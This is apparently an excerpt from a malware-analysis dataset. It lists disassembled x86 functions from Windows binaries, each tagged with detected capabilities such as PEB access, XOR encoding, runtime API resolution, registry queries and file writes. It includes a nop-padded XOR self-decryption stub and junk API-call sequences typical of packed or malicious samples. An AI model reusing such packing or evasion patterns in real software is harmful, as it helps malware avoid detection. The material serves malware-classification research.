joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422fd0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x44a2c6
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x462100]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x18], esi
xor eax, eax
mov dword [esi + 4], eax
mov dword [esi], 0x44d774
lea ebx, [esi + 8]
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
lea ebp, [esi + 0x20]
lea edi, [esi + 0x40]
mov ecx, edi
mov dword [ebp], eax
mov dword [ebp + 4], eax
mov dword [ebp + 8], eax
mov dword [ebp + 0xc], eax
call fcn.00422b50
lea eax, [esp + 0x17]
push eax
lea edx, [esp + 0x1b]
lea ecx, [esi + 0x58]
push edx
mov dword [esp + 0x30], 0
call fcn.00422890
lea ecx, [esi + 0x78]
mov byte [esp + 0x28], 1
call fcn.00422b50
push ebx
call dword [0x44d36c]
xor ebx, ebx
push ebp
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], 0xffffffff
call dword [0x44d36c]
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x30], 0xff
mov dword [esi + 0x38], ebx
mov ebx, dword [edi + 0x10]
cmp dword [edi + 0xc], ebx
jbe 0x42308d
call fcn.00435193
mov ebp, dword [edi + 0xc]
mov eax, dword [edi]
mov dword [esp + 0x18], eax
cmp ebp, dword [edi + 0x10]
jbe 0x4230a0
call fcn.00435193
mov ecx, dword [esp + 0x18]
mov eax, dword [edi]
push ebx
push ecx
push ebp
push eax
lea edx, [esp + 0x28]
push edx
mov ecx, edi
call fcn.00421b40
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x4051d1
Capabilities:
Create pipe
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x246be54]
mov ecx, dword [0x246b8e4]
sub esp, 0xc04
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x4052a6
mov edi, ecx
mov ebx, eax
cmp dword [0x246be54], 0x959
jne 0x405296
push esi
lea eax, [ebp - 0x800]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x404d48
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00404fa7
add edi, 8
dec ebx
jne 0x4051f9
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b080
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441d30]
jne 0x40b08a
repz ret
jmp fcn.0040e6ac

Function at 0x40c39c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x441d30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00407632
and dword [ebp - 0x14], 0
cmp dword [0x4593e4], 0
mov dword [ebp - 0x18], eax
jne 0x40c44f
push 0x402cbc
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c4f7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402cb0
push ebx
call edi
test eax, eax
je 0x40c4f7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402ca0
push ebx
mov dword [0x4593e4], eax
call edi
push eax
call esi
push 0x402c8c
push ebx
mov dword [0x4593e8], eax
call edi
push eax
call esi
push 0x402c70
push ebx
mov dword [0x4593ec], eax
call edi
push eax
call esi
mov dword [0x4593f4], eax
test eax, eax
je 0x40c44f
push 0x402c58
push ebx
call edi
push eax
call esi
mov dword [0x4593f0], eax
mov eax, dword [0x4593f0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c4a8
cmp dword [0x4593f4], ecx
je 0x40c4a8
push eax
call esi
push dword [0x4593f4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c4a8
test ebx, ebx
je 0x40c4a8
call edi
test eax, eax
je 0x40c49f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c49f
test byte [ebp - 8], 1
jne 0x40c4a8
or dword [ebp + 0x10], 0x200000
jmp 0x40c4db
mov eax, dword [0x4593e8]
cmp eax, dword [ebp - 0x18]
je 0x40c4db
push eax
call esi
test eax, eax
je 0x40c4db
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c4db
mov eax, dword [0x4593ec]
cmp eax, dword [ebp - 0x18]
je 0x40c4db
push eax
call esi
test eax, eax
je 0x40c4db
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4593e4]
call esi
test eax, eax
je 0x40c4f7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c4f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b080
leave
ret
Function at 0x404dd1
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
push esi
mov esi, edx
jne 0x404ddc
xor eax, eax
pop esi
ret
cmp eax, 8
push ebx
not esi
mov edx, 0xff
jb 0x404e8e
push edi
mov edi, eax
shr edi, 3
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
sub eax, 8
dec edi
jne 0x404df3
pop edi
test eax, eax
je 0x404ea7
movzx ebx, byte [ecx]
xor ebx, esi
and ebx, edx
shr esi, 8
xor esi, dword [ebx*4 + 0x41d388]
inc ecx
dec eax
jne 0x404e92
mov eax, esi
pop ebx
not eax
pop esi
ret

Function at 0x404eae
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x41d388]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x41d388]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x4055aa
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x4055da
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4055d5
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x405602
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x4055eb
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.0040b1f0
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x40630e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [esi], 0
push edi
jne 0x406387
cmp dword [esi + 4], 0xffffffff
jne 0x406387
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push edi
call fcn.00408d7b
movzx eax, word [esi + eax*2 + 0x242]
cmp ax, 0x5c
pop ecx
je 0x406357
cmp ax, 0x2f
je 0x406357
push 0x41d980
push edi
call fcn.0040a234
pop ecx
pop ecx
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.004054a0
test eax, eax
pop ecx
pop ecx
jne 0x40636e
mov eax, dword [ebp + 8]
jmp 0x40638c
push eax
call fcn.00405823
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x40638c
mov eax, 0x1000000
pop edi
pop ebp
ret 4

Function at 0x4069b6
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x420108]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
push esi
mov esi, dword [ebp + 0xc]
je 0x4069ea
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4069ea
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
movzx ecx, word [esi]
test cx, cx
je 0x406a95
mov eax, esi
mov edx, esi
movzx ecx, cx
cmp cx, 0x2f
je 0x406a09
cmp cx, 0x5c
jne 0x406a0b
mov eax, edx
inc edx
inc edx
movzx ecx, word [edx]
test cx, cx
jne 0x4069fd
cmp eax, esi
je 0x406a4a
sub eax, esi
sar eax, 1
push edi
add eax, eax
mov edi, eax
push edi
lea eax, [ebp - 0x414]
push esi
push eax
call fcn.0040b1f0
and word [ebp + edi - 0x414], 0
lea eax, [ebp - 0x414]
push eax
push ebx
call fcn.004069b6
add esp, 0x14
pop edi
and word [ebp - 0x20c], 0
test ebx, ebx
je 0x406a65
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.0040a25e
pop ecx
pop ecx
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040a234
pop ecx
pop ecx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x406a95
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00408643
leave
ret
Function at 0x408643
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420108]
jne 0x40864d
repz ret
jmp fcn.0040c344

Function at 0x417913
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040f0d6
xor ebx, ebx
cmp dword [0x421dcc], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x4179e8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x417953
xor eax, eax
jmp 0x417aac
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x41794c
push eax
call fcn.0040f073
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x421dcc], eax
call esi
push eax
call fcn.0040f073
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x421dd0], eax
call esi
push eax
call fcn.0040f073
mov dword [0x421dd4], eax
lea eax, [ebp - 8]
push eax
call fcn.0040a7b3
test eax, eax
pop ecx
pop ecx
je 0x4179b6
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00408f73
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x4179e8
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040f073
cmp eax, ebx
pop ecx
mov dword [0x421ddc], eax
je 0x4179e8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040f073
pop ecx
mov dword [0x421dd8], eax
mov eax, dword [0x421dd8]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x417a61
cmp dword [0x421ddc], esi
je 0x417a61
push eax
call fcn.0040f0df
pop ecx
call eax
cmp eax, ebx
je 0x417a2e
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x421ddc]
call fcn.0040f0df
pop ecx
call eax
test eax, eax
je 0x417a2e
test byte [ebp - 0x18], 1
jne 0x417a61
lea eax, [ebp - 0xc]
push eax
call fcn.0040a7ea
test eax, eax
pop ecx
je 0x417a49
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00408f73
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x417a58
or dword [ebp + 0x10], 0x200000
jmp 0x417a92
or dword [ebp + 0x10], 0x40000
jmp 0x417a92
mov eax, dword [0x421dd0]
cmp eax, esi
je 0x417a92
push eax
call fcn.0040f0df
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x417a92
mov eax, dword [0x421dd4]
cmp eax, esi
je 0x417a92
push dword [ebp - 4]
push eax
call fcn.0040f0df
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x421dcc]
call fcn.0040f0df
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x403510
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004052dc
test esi, esi
jne 0x403546
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004053cc
jmp 0x403564
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00403414
mov edi, eax
test esi, esi
je 0x403564
cmp dword [ebx], 0
je 0x403564
dec esi
jmp 0x40354d
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403598
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x513008], 0x8088405
inc edx
mov dword [ebx + 0x513008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4041b8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x513024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x404250
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404230
xor eax, eax
push ebp
push 0x404229
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40426c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404230
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x513024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x513024], ax
mov esp, ebp
pop ebp
ret

Function at 0x405088
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x524048], 0
je 0x4050e9
cmp word [0x52421c], 0xd7b2
jne 0x4050b1
cmp dword [0x524224], 0
jbe 0x4050b1
mov eax, 0x524218
call dword [0x524234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x405110
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x513030], 0
jne 0x405105
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x405260
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x513038], 0
je 0x405286
mov edx, esi
mov eax, ebx
call dword [0x513038]
jmp 0x405295
mov eax, 8
call fcn.004030b4
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x524049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x405228
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x4068dc
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406b0c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40695f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406b0c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40695f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406b28
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4069e8
xor eax, eax
push ebp
push 0x4069e1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00406718
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4069c6
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x406b48
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4069c6
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4069e8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x406b02
cmp byte [ebp - 0xd], 0
jne 0x406a2f
cmp byte [ebp - 0x12], 0
je 0x406b02
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x406a48
dec ebx
cmp byte [ebx], 0x2e
je 0x406a57
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x406a47
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x406b02
inc ebx
cmp byte [ebp - 0x12], 0
je 0x406a94
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406b02
cmp byte [ebp - 0xd], 0
je 0x406b02
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406b02
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409480
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff3e0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
push 0x5299bc
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
cmp esi, 0xffffffff
jne 0x40953a
lea eax, [ebp - 0xc10]
push eax
push 0
push 0
push 0x8005
push 0
call sub.SHFolder.dll_SHGetFolderPathA
test eax, eax
jne 0x40953a
lea eax, [ebp - 0xc10]
call fcn.0040842c
mov ebx, eax
test ebx, ebx
je 0x4094ee
cmp byte [ebp + ebx - 0xc11], 0x5c
je 0x4094f7
mov byte [ebp + ebx - 0xc10], 0x5c
inc ebx
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0x10]
mov eax, 0x5299bc
call fcn.00409460
mov ecx, dword [ebp - 0xc]
inc ecx
lea edx, [ebp + ebx - 0xc10]
mov eax, dword [ebp - 0x10]
call fcn.00403314
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0xc10]
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x40966e
push 2
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer_1
lea edx, [ebp - 0x410]
mov eax, 0x409678
mov ecx, 2
call fcn.00408738
mov ebx, eax
mov eax, 0x40967c
mov ecx, 0x20
mov edx, ebx
call fcn.00408738
mov ebx, eax
lea eax, [ebp - 0xc20]
push eax
call sub.kernel32.dll_GetLocalTime
movzx eax, word [ebp - 0xc20]
mov edx, ebx
call fcn.00408688
mov ebx, eax
mov byte [ebx], 0x2f
inc ebx
movzx eax, word [ebp - 0xc1e]
mov edx, ebx
call fcn.00408688
mov ebx, eax
mov byte [ebx], 0x2f
inc ebx
movzx eax, word [ebp - 0xc1a]
mov edx, ebx
call fcn.00408688
mov ebx, eax
mov byte [ebx], 0x20
inc ebx
movzx eax, word [ebp - 0xc18]
mov edx, ebx
call fcn.00408688
mov ebx, eax
mov byte [ebx], 0x3a
inc ebx
cmp word [ebp - 0xc16], 0xa
jae 0x4095e3
mov byte [ebx], 0x30
inc ebx
movzx eax, word [ebp - 0xc16]
mov edx, ebx
call fcn.00408688
mov ebx, eax
mov byte [ebx], 0x3a
inc ebx
cmp word [ebp - 0xc14], 0xa
jae 0x409605
mov byte [ebx], 0x30
inc ebx
movzx eax, word [ebp - 0xc14]
mov edx, ebx
call fcn.00408688
mov ebx, eax
mov eax, 0x40967c
mov ecx, 0x20
mov edx, ebx
call fcn.00408738
mov ebx, eax
mov eax, 0x409678
mov ecx, 2
mov edx, ebx
call fcn.00408738
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
sub ebx, eax
push ebx
lea eax, [ebp - 0x410]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push edi
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_CloseHandle_1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret